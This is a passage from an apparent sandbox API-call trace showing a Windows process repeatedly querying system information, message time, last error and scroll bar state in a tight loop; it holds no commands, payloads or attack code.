dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.930] GetMessageTime () returned 0 [0045.930] GetLastError () returned 0x578 [0045.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.930] GetMessageTime () returned 0 [0045.930] GetLastError () returned 0x578 [0045.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.930] GetMessageTime () returned 0 [0045.930] GetLastError () returned 0x578 [0045.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.930] GetMessageTime () returned 0 [0045.930] GetLastError () returned 0x578 [0045.930] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.930] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.930] GetMessageTime () returned 0 [0045.931] GetLastError () returned 0x578 [0045.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.931] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.931] GetMessageTime () returned 0 [0045.931] GetLastError () returned 0x578 [0045.931] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.932] GetMessageTime () returned 0 [0045.932] GetLastError () returned 0x578 [0045.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.932] GetMessageTime () returned 0 [0045.932] GetLastError () returned 0x578 [0045.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.932] GetMessageTime () returned 0 [0045.932] GetLastError () returned 0x578 [0045.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.932] GetMessageTime () returned 0 [0045.932] GetLastError () returned 0x578 [0045.932] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.932] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.932] GetMessageTime () returned 0 [0045.932] GetLastError () returned 0x578 [0045.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.933] GetMessageTime () returned 0 [0045.933] GetLastError () returned 0x578 [0045.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.933] GetMessageTime () returned 0 [0045.933] GetLastError () returned 0x578 [0045.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.933] GetMessageTime () returned 0 [0045.933] GetLastError () returned 0x578 [0045.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.933] GetMessageTime () returned 0 [0045.933] GetLastError () returned 0x578 [0045.933] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.933] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.933] GetMessageTime () returned 0 [0045.934] GetLastError () returned 0x578 [0045.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.934] GetMessageTime () returned 0 [0045.934] GetLastError () returned 0x578 [0045.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.934] GetMessageTime () returned 0 [0045.934] GetLastError () returned 0x578 [0045.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.934] GetMessageTime () returned 0 [0045.934] GetLastError () returned 0x578 [0045.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.934] GetMessageTime () returned 0 [0045.934] GetLastError () returned 0x578 [0045.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.934] GetMessageTime () returned 0 [0045.934] GetLastError () returned 0x578 [0045.934] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.934] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.935] GetMessageTime () returned 0 [0045.935] GetLastError () returned 0x578 [0045.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.935] GetMessageTime () returned 0 [0045.935] GetLastError () returned 0x578 [0045.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.935] GetMessageTime () returned 0 [0045.935] GetLastError () returned 0x578 [0045.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.935] GetMessageTime () returned 0 [0045.935] GetLastError () returned 0x578 [0045.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.935] GetMessageTime () returned 0 [0045.935] GetLastError () returned 0x578 [0045.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.935] GetMessageTime () returned 0 [0045.935] GetLastError () returned 0x578 [0045.935] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.935] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.936] GetMessageTime () returned 0 [0045.936] GetLastError () returned 0x578 [0045.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.936] GetMessageTime () returned 0 [0045.936] GetLastError () returned 0x578 [0045.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.936] GetMessageTime () returned 0 [0045.936] GetLastError () returned 0x578 [0045.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.936] GetMessageTime () returned 0 [0045.936] GetLastError () returned 0x578 [0045.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.936] GetMessageTime () returned 0 [0045.936] GetLastError () returned 0x578 [0045.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.936] GetMessageTime () returned 0 [0045.936] GetLastError () returned 0x578 [0045.936] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.936] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.937] GetMessageTime () returned 0 [0045.937] GetLastError () returned 0x578 [0045.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.937] GetMessageTime () returned 0 [0045.937] GetLastError () returned 0x578 [0045.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.937] GetMessageTime () returned 0 [0045.937] GetLastError () returned 0x578 [0045.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.937] GetMessageTime () returned 0 [0045.937] GetLastError () returned 0x578 [0045.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.937] GetMessageTime () returned 0 [0045.937] GetLastError () returned 0x578 [0045.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.937] GetMessageTime () returned 0 [0045.937] GetLastError () returned 0x578 [0045.937] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.937] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.938] GetMessageTime () returned 0 [0045.938] GetLastError () returned 0x578 [0045.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.938] GetMessageTime () returned 0 [0045.938] GetLastError () returned 0x578 [0045.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.938] GetMessageTime () returned 0 [0045.938] GetLastError () returned 0x578 [0045.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.938] GetMessageTime () returned 0 [0045.938] GetLastError () returned 0x578 [0045.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.938] GetMessageTime () returned 0 [0045.938] GetLastError () returned 0x578 [0045.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.938] GetMessageTime () returned 0 [0045.938] GetLastError () returned 0x578 [0045.938] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.938] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0045.939] GetMessageTime () returned 0 [0045.939] GetLastError () returned 0x578 [0045.939] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0045.939] 